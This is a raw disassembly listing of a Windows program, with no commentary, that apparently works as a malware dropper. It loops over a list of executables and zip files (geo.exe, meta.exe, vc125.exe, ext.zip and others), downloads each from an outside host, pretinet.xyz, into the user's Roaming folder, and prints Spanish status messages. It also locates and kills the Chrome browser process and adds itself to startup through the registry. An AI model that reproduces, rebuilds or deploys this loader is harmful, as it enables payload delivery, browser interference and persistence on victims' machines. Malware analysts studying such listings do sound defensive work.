lea rdx, [0x14003c030]
lea rcx, [rbp + 0x140]
call fcn.140003670
lea rdx, [rbp + 0x120]
lea rcx, [rbp + 0x350]
call fcn.140003e20
mov rdx, rax
lea r9, [rbp + 0x310]
lea r8, [rbp + 0x140]
lea rcx, [rbp + 0x430]
call fcn.140004590
lea rcx, [rbp + 0x120]
call fcn.140003400
lea rcx, [rbp + 0x140]
call fcn.140003400
lea rcx, [rbp + 0x310]
call fcn.140003400
lea rcx, [rbp + 0x430]
call fcn.1400046e0
lea rdx, str.https:__msedge.sf.dl.delivery.mp.microsoft.com_filestreamingservice_files_27b4fd83_937a_4e70_8ee5_c881502ea90e_MicrosoftEdgeWebview2Setup.exe
lea rcx, [rbp + 0x410]
call fcn.140003670
lea rdx, str.MicrosoftEdgeWebview2Setup.exe
lea rcx, [rbp + 0x140]
call fcn.140003670
lea rcx, [rbp + 0x120]
call fcn.140005780
mov rdi, qword [rbp + 0x130]
test rdi, rdi
je 0x140008686
lea rdx, [rbp + 0x120]
lea rcx, [rbp + 0x310]
call fcn.14000a9e0
mov rdx, rax
lea r8, [rbp + 0x140]
lea rcx, [rbp + 0x2f0]
call fcn.14000ab40
lea rcx, [rbp + 0x310]
call fcn.140003400
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0x410]
call fcn.140005830
lea r13, [0x1400449c0]
test al, al
je 0x14000865a
lea rdx, str.Descargado_exitosamente_en:
lea rcx, [0x140044770]
call fcn.140009fc0
mov rcx, rax
lea rdx, [rbp + 0x2f0]
call fcn.14000aef0
jmp 0x140008669
lea rdx, str.Error_al_descargar_el_archivo.
mov rcx, r13
call fcn.140009fc0
mov rcx, rax
call fcn.14000a280
lea rcx, [rbp + 0x2f0]
call fcn.140003400
mov rdi, qword [rbp + 0x130]
jmp 0x1400086a4
lea r13, [0x1400449c0]
mov rcx, r13
lea rdx, str.No_se_pudo_obtener_la_ruta_de_la_carpeta_Roaming.
call fcn.140009fc0
mov rcx, rax
call fcn.14000a280
call fcn.140004e70
lea rdx, str.http:__pretinet.xyz_public_stub_
lea rcx, [rbp + 0x310]
call fcn.140003670
lea rdx, str.geo.exe
lea rcx, [rbp + 0x4f0]
call fcn.140003670
lea rdx, str.ext.zip
lea rcx, [rbp + 0x510]
call fcn.140003670
lea rdx, str.ext2.zip
lea rcx, [rbp + 0x530]
call fcn.140003670
lea rdx, str.ext3.zip
lea rcx, [rbp + 0x550]
call fcn.140003670
lea rdx, str.ext4.zip
lea rcx, [rbp + 0x570]
call fcn.140003670
lea rdx, str.trz.zip
lea rcx, [rbp + 0x590]
call fcn.140003670
lea rdx, str.AZcloud_dbg.zip
lea rcx, [rbp + 0x5b0]
call fcn.140003670
lea rdx, str.meta.exe
lea rcx, [rbp + 0x5d0]
call fcn.140003670
lea rdx, str.metaver_.exe
lea rcx, [rbp + 0x5f0]
call fcn.140003670
lea rdx, str.unzipp.exe
lea rcx, [rbp + 0x610]
call fcn.140003670
lea rdx, str.vc125.exe
lea rcx, [rbp + 0x630]
call fcn.140003670
lea rcx, [rbp + 0x100]
call fcn.140005780
mov rbx, qword [rbp + 0x100]
test rdi, rdi
je 0x140008ad5
mov r12, qword [rbp + 0x110]
lea rsi, [rbp + 0x4f0]
movabs rdi, 0x7ffffffffffffffe
sub rdi, r12
mov qword [rbp + 0xf0], rdi
nop dword [rax + rax]
mov r8, rsi
lea rdx, [rbp + 0x310]
lea rcx, [rbp + 0x2f0]
call fcn.14000abb0
cmp rdi, 1
jb 0x14000977c
cmp qword [rbp + 0x118], 7
lea r15, [rbp + 0x100]
lea r14, [r12 + 1]
xorps xmm0, xmm0
cmova r15, rbx
lea rdi, [rsp + 0x30]
xor eax, eax
mov ebx, 7
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rax
movups xmmword [rsp + 0x30], xmm0
cmp r14, rbx
jbe 0x1400088c6
mov rbx, r14
movabs rcx, 0x7ffffffffffffffe
or rbx, 7
cmp rbx, rcx
jbe 0x140008858
movabs rax, 0x7fffffffffffffff
mov rbx, rcx
lea rcx, [rax + rax]
jmp 0x140008888
cmp rbx, 0xa
mov ecx, 0xa
movabs rdx, 0x7fffffffffffffff
cmovb rbx, rcx
lea rcx, [rbx + 1]
cmp rcx, rdx
ja 0x14000976a
add rcx, rcx
cmp rcx, 0x1000
jb 0x1400088b4
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000976a
mov rcx, rax
call fcn.140012658
test rax, rax
je 0x140009770
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x1400088c1
test rcx, rcx
je 0x1400088be
call fcn.140012658
mov rdi, rax
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x48], rbx
mov rdx, r15
lea rbx, [r12 + r12]
mov qword [rsp + 0x40], r14
mov r8, rbx
mov rcx, rdi
call fcn.14002e430
mov eax, dword [0x14003bcfc]
xor r15d, r15d
mov word [rbx + rdi], ax
mov rdx, rsi
mov word [rdi + r14*2], r15w
cmp qword [rsi + 0x18], 7
jbe 0x140008901
mov rdx, qword [rsi]
mov r8, qword [rsi + 0x10]
lea rcx, [rsp + 0x30]
call fcn.140009880
mov qword [rbp + 0x170], r15
xorps xmm0, xmm0
movups xmmword [rbp + 0x160], xmm0
mov qword [rbp + 0x178], r15
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x160], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x170], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 7
mov word [rax], r15w
mov rdx, qword [rsp + 0x48]
cmp rdx, 7
jbe 0x14000898e
mov rcx, qword [rsp + 0x30]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008989
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009770
call fcn.140012650
cmp qword [rbp + 0x178], 7
lea r8, [rbp + 0x160]
lea rdx, [rbp + 0x2f0]
mov qword [rsp + 0x20], r15
cmova r8, qword [rbp + 0x160]
cmp qword [rbp + 0x308], 7
cmova rdx, qword [rbp + 0x2f0]
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
js 0x1400089e7
lea rbx, [rbp + 0x160]
lea rcx, [0x140044770]
lea rdx, str.Descargado_exitosamente_en:
jmp 0x1400089f4
mov rbx, rsi
lea rdx, str.Error_al_descargar_el_archivo:
mov rcx, r13
call fcn.140009fc0
mov rcx, rax
mov rdx, rbx
call fcn.14000aef0
mov rcx, rax
call fcn.14000a280
mov rdx, qword [rbp + 0x178]
cmp rdx, 7
jbe 0x140008a52
mov rcx, qword [rbp + 0x160]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008a4d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009776
call fcn.140012650
mov rdx, qword [rbp + 0x308]
mov qword [rbp + 0x170], r15
mov qword [rbp + 0x178], 7
mov word [rbp + 0x160], r15w
cmp rdx, 7
jbe 0x140008ab2
mov rcx, qword [rbp + 0x2f0]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008aad
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009776
call fcn.140012650
mov rbx, qword [rbp + 0x100]
lea rax, [rbp + 0x650]
add rsi, 0x20
cmp rsi, rax
je 0x140008aee
mov rdi, qword [rbp + 0xf0]
jmp 0x1400087d0
lea rdx, str.No_se_pudo_obtener_la_ruta_de_la_carpeta_Roaming.
mov rcx, r13
call fcn.140009fc0
mov rcx, rax
call fcn.14000a280
jmp 0x140008af5
mov r12, qword [rbp + 0x250]
call fcn.140005b30
call fcn.140005200
call fcn.140004bb0
xor edx, edx
lea rcx, str.Chrome_WidgetWin_1
call qword [sym.imp.USER32.dll_FindWindowA]
mov rcx, rax
lea rdx, [rbp + 0xf0]
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov r8d, dword [rbp + 0xf0]
xor edx, edx
lea ecx, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rcx, rax
mov edx, 4
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
call fcn.1400054c0
call fcn.140005870
mov ecx, 8
call fcn.140012658
lea rcx, [0x140006160]
mov r9, rax
lea r8, [0x14000d900]
xor edx, edx
mov qword [rax], rcx
lea rcx, [rbp + 0x248]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rsp + 0x20], r15d
call fcn.14001949c
mov qword [rbp + 0x240], rax
test rax, rax
je 0x1400097a9
cmp dword [rbp + 0x248], 0
je 0x140009782
call sub.KERNEL32.dll_GetCurrentThreadId
cmp dword [rbp + 0x248], eax
je 0x14000978d
movaps xmm0, xmmword [rbp + 0x240]
lea rcx, [rbp + 0xf0]
xor edx, edx
movdqa xmmword [rbp + 0xf0], xmm0
call fcn.140011d7c
test eax, eax
jne 0x140009798
mov rax, qword [rbp + 0x118]
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x240], xmm0
cmp rax, 7
jbe 0x140008c25
lea rdx, [rax*2 + 2]
mov rax, rbx
cmp rdx, 0x1000
jb 0x140008c1d
mov rbx, qword [rbx - 8]
add rdx, 0x27
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400097a3
mov rcx, rbx
call fcn.140012650
mov edx, 0x20
lea r9, [fcn.140003400]
lea rcx, [rbp + 0x4f0]
lea r8d, [rdx - 0x15]
call fcn.140012694
mov rdx, qword [rbp + 0x328]
cmp rdx, 7
jbe 0x140008c87
mov rcx, qword [rbp + 0x310]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008c82
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400097a3
call fcn.140012650
mov rdx, qword [rbp + 0x138]
cmp rdx, 7
jbe 0x140008ccd
mov rcx, qword [rbp + 0x120]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008cc8
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400097a3
call fcn.140012650
mov rdx, qword [rbp + 0x158]
cmp rdx, 7
jbe 0x140008d13
mov rcx, qword [rbp + 0x140]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008d0e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400097a3
call fcn.140012650
mov rdx, qword [rbp + 0x428]
cmp rdx, 7
jbe 0x140008d59
mov rcx, qword [rbp + 0x410]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008d54
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400097a3
call fcn.140012650
mov rdx, qword [rbp + 0x448]
mov qword [rbp + 0x420], r15
mov qword [rbp + 0x428], 7
mov word [rbp + 0x410], r15w
cmp rdx, 7
jbe 0x140008db9
mov rcx, qword [rbp + 0x430]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008db4
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400097a3
call fcn.140012650
mov rdx, qword [rbp + 0x368]
mov qword [rbp + 0x440], r15
mov qword [rbp + 0x448], 7
mov word [rbp + 0x430], r15w
cmp rdx, 7
jbe 0x140008e19
mov rcx, qword [rbp + 0x350]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008e14
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400097a3
call fcn.140012650
mov rdx, qword [rbp + 0x468]
mov qword [rbp + 0x360], r15
mov qword [rbp + 0x368], 7
mov word [rbp + 0x350], r15w
cmp rdx, 7
jbe 0x140008e79
mov rcx, qword [rbp + 0x450]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008e74
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400097a3
call fcn.140012650
mov rdx, qword [rbp + 0x4e8]
mov qword [rbp + 0x460], r15
mov qword [rbp + 0x468], 7
mov word [rbp + 0x450], r15w
cmp rdx, 0xf
jbe 0x140008ed4
mov rcx, qword [rbp + 0x4d0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008ecf
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400097a3
call fcn.140012650
mov rdx, qword [rbp + 0x238]
cmp rdx, 7
jbe 0x140008f1a
mov rcx, qword [rbp + 0x220]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008f15
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400097a3
call fcn.140012650
mov rdx, qword [rbp + 0x388]
cmp rdx, 7
jbe 0x140008f60
mov rcx, qword [rbp + 0x370]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008f5b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400097a3
call fcn.140012650
mov rdx, qword [rbp + 0x3a8]
mov qword [rbp + 0x380], r15
mov qword [rbp + 0x388], 7
mov word [rbp + 0x370], r15w
cmp rdx, 7
jbe 0x140008fc0
mov rcx, qword [rbp + 0x390]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008fbb
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400097a3
call fcn.140012650
mov rdx, qword [rbp + 0x3c8]
mov qword [rbp + 0x3a0], r15
mov qword [rbp + 0x3a8], 7
mov word [rbp + 0x390], r15w
cmp rdx, 7
jbe 0x140009020
mov rcx, qword [rbp + 0x3b0]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000901b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400097a3
call fcn.140012650
mov rdx, qword [rbp + 0x3e8]
mov qword [rbp + 0x3c0], r15
mov qword [rbp + 0x3c8], 7
mov word [rbp + 0x3b0], r15w
cmp rdx, 7
jbe 0x140009080
mov rcx, qword [rbp + 0x3d0]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000907b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400097a3
call fcn.140012650
mov rdx, qword [rbp + 0x408]
mov qword [rbp + 0x3e0], r15
mov qword [rbp + 0x3e8], 7
mov word [rbp + 0x3d0], r15w
cmp rdx, 7
jbe 0x1400090e0
mov rcx, qword [rbp + 0x3f0]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400090db
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400097a3
call fcn.140012650
mov rdx, qword [rbp + 0x348]
mov qword [rbp + 0x400], r15
mov qword [rbp + 0x408], 7
mov word [rbp + 0x3f0], r15w
cmp rdx, 7
jbe 0x140009140
mov rcx, qword [rbp + 0x330]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000913b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400097a3
call fcn.140012650
mov rdx, qword [rbp + 0x488]
mov qword [rbp + 0x340], r15
mov qword [rbp + 0x348], 7
mov word [rbp + 0x330], r15w
cmp rdx, 7
jbe 0x1400091a0
mov rcx, qword [rbp + 0x470]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000919b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400097a3
call fcn.140012650
mov rdx, qword [rbp + 0x4a8]
mov qword [rbp + 0x480], r15
mov qword [rbp + 0x488], 7
mov word [rbp + 0x470], r15w
cmp rdx, 7
jbe 0x140009200
mov rcx, qword [rbp + 0x490]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400091fb
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400097a3
call fcn.140012650
mov rdx, qword [rbp + 0x4c8]
mov qword [rbp + 0x4a0], r15
mov qword [rbp + 0x4a8], 7
mov word [rbp + 0x490], r15w
cmp rdx, 7
jbe 0x140009260
mov rcx, qword [rbp + 0x4b0]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000925b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400097a3
call fcn.140012650
mov rdx, qword [rbp + 0x288]
mov qword [rbp + 0x4c0], r15
mov qword [rbp + 0x4c8], 7
mov word [rbp + 0x4b0], r15w
cmp rdx, 7
jbe 0x1400092c0
mov rcx, qword [rbp + 0x270]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400092bb
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400097a3
call fcn.140012650
mov rdx, qword [rbp + 0x2a8]
mov qword [rbp + 0x280], r15
mov qword [rbp + 0x288], 7
mov word [rbp + 0x270], r15w
cmp rdx, 7
jbe 0x140009320
mov rcx, qword [rbp + 0x290]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000931b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400097a3
call fcn.140012650
mov rdx, qword [rbp + 0x2c8]
mov qword [rbp + 0x2a0], r15
mov qword [rbp + 0x2a8], 7
mov word [rbp + 0x290], r15w
cmp rdx, 7
jbe 0x140009380
mov rcx, qword [rbp + 0x2b0]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000937b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400097a3
call fcn.140012650
mov rdx, qword [rbp + 0x2e8]
mov qword [rbp + 0x2c0], r15
mov qword [rbp + 0x2c8], 7
mov word [rbp + 0x2b0], r15w
cmp rdx, 7
jbe 0x1400093e0
mov rcx, qword [rbp + 0x2d0]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400093db
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400097a3
call fcn.140012650
mov rdx, qword [rbp + 0x198]
mov qword [rbp + 0x2e0], r15
mov qword [rbp + 0x2e8], 7
mov word [rbp + 0x2d0], r15w
cmp rdx, 0xf
jbe 0x14000943b
mov rcx, qword [rbp + 0x180]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009436
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400097a3
call fcn.140012650
mov rdx, qword [rbp + 0x1f8]
mov qword [rbp + 0x190], r15
mov qword [rbp + 0x198], 0xf
mov byte [rbp + 0x180], 0
cmp rdx, 0xf
jbe 0x140009495
mov rcx, qword [rbp + 0x1e0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009490
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400097a3
call fcn.140012650
mov rdx, qword [rbp + 0x1b8]
mov qword [rbp + 0x1f0], r15
mov qword [rbp + 0x1f8], 0xf
mov byte [rbp + 0x1e0], 0
cmp rdx, 7
jbe 0x1400094f4
mov rcx, qword [rbp + 0x1a0]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400094ef
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400097a3
call fcn.140012650
mov rdx, qword [rbp + 0x1d8]
mov qword [rbp + 0x1b0], r15
mov qword [rbp + 0x1b8], 7
mov word [rbp + 0x1a0], r15w
cmp rdx, 7
jbe 0x140009554
mov rcx, qword [rbp + 0x1c0]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000954f
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400097a3
call fcn.140012650
mov rdx, qword [rbp + 0x268]
mov qword [rbp + 0x1d0], r15
mov qword [rbp + 0x1d8], 7
mov word [rbp + 0x1c0], r15w
cmp rdx, 7
jbe 0x1400095b1
lea rdx, [rdx*2 + 2]
mov rax, r12
cmp rdx, 0x1000
jb 0x1400095a9
mov r12, qword [r12 - 8]
add rdx, 0x27
sub rax, r12
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400097a3
mov rcx, r12
call fcn.140012650
mov rdx, qword [rbp + 0x218]
cmp rdx, 7
jbe 0x140009693
mov rcx, qword [rbp + 0x200]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400095f6
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400097a3
call fcn.140012650
jmp 0x140009693
lea rdx, str.Error_al_agregar_programa_al_inicio.
jmp 0x140009610
lea rdx, str.Error_al_abrir_la_clave_de_registro.
lea rcx, [0x1400448a0]
call fcn.14000a2c0
mov rbx, rax
mov dl, 0xa
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
add rcx, rbx
call fcn.14000c4a0
movzx edx, al
mov rcx, rbx
call fcn.14000c2f0
mov rcx, rbx
call fcn.14000c190
lea rdx, str.Error:_No_se_pudo_agregar_el_programa_al_inicio.
lea rcx, [0x1400448a0]
call fcn.14000a2c0
mov rcx, rax
call fcn.14000a570
lea rcx, [rbp + 0x1a0]
call fcn.140003400
lea rcx, [rbp + 0x1c0]
call fcn.140003400
lea rcx, [rbp + 0x250]
call fcn.140003400
lea rcx, [rbp + 0x200]
call fcn.140003400
mov eax, 1
mov r14, qword [rsp + 0xc98]
mov r13, qword [rsp + 0xca0]
mov r12, qword [rsp + 0xcd0]
mov rsi, qword [rsp + 0xcc0]
mov r15, qword [rsp + 0xc90]
mov rdi, qword [rsp + 0xcc8]
mov rcx, qword [rbp + 0xb80]
xor rcx, rsp
call fcn.140012630
add rsp, 0xca8
pop rbx
pop rbp
ret
xor ecx, ecx
call fcn.140019358
int3
call fcn.140001940
int3
call fcn.140019a50
int3
call fcn.1400018a0
int3
call fcn.140019a50
int3
call fcn.140019a50
int3
call fcn.140019a50
int3
call fcn.140019a50
int3
call fcn.140019a50
int3
call fcn.140019a50
int3
call fcn.140001df0
int3
call fcn.140002160
int3
mov ecx, eax
call fcn.140002160
int3
call fcn.140001df0
int3
call fcn.140002160
int3
mov ecx, eax
call fcn.140002160
int3
call fcn.140001df0
int3
call fcn.140002160
int3
mov ecx, eax
call fcn.140002160
int3
call fcn.140001df0
int3
call fcn.140002160
int3
mov ecx, eax
call fcn.140002160
int3
call fcn.1400018a0
int3
call fcn.140019a50
int3
call fcn.140019a50
int3
call fcn.140001940
int3
mov ecx, 1
call fcn.14000e4f0
int3
mov ecx, 5
call fcn.14000e4f0
int3
mov ecx, 2
call fcn.14000e4f0
int3
call fcn.140019a50
int3
mov ecx, 6
mov dword [rbp + 0x248], r15d
call fcn.14000e4f0
int3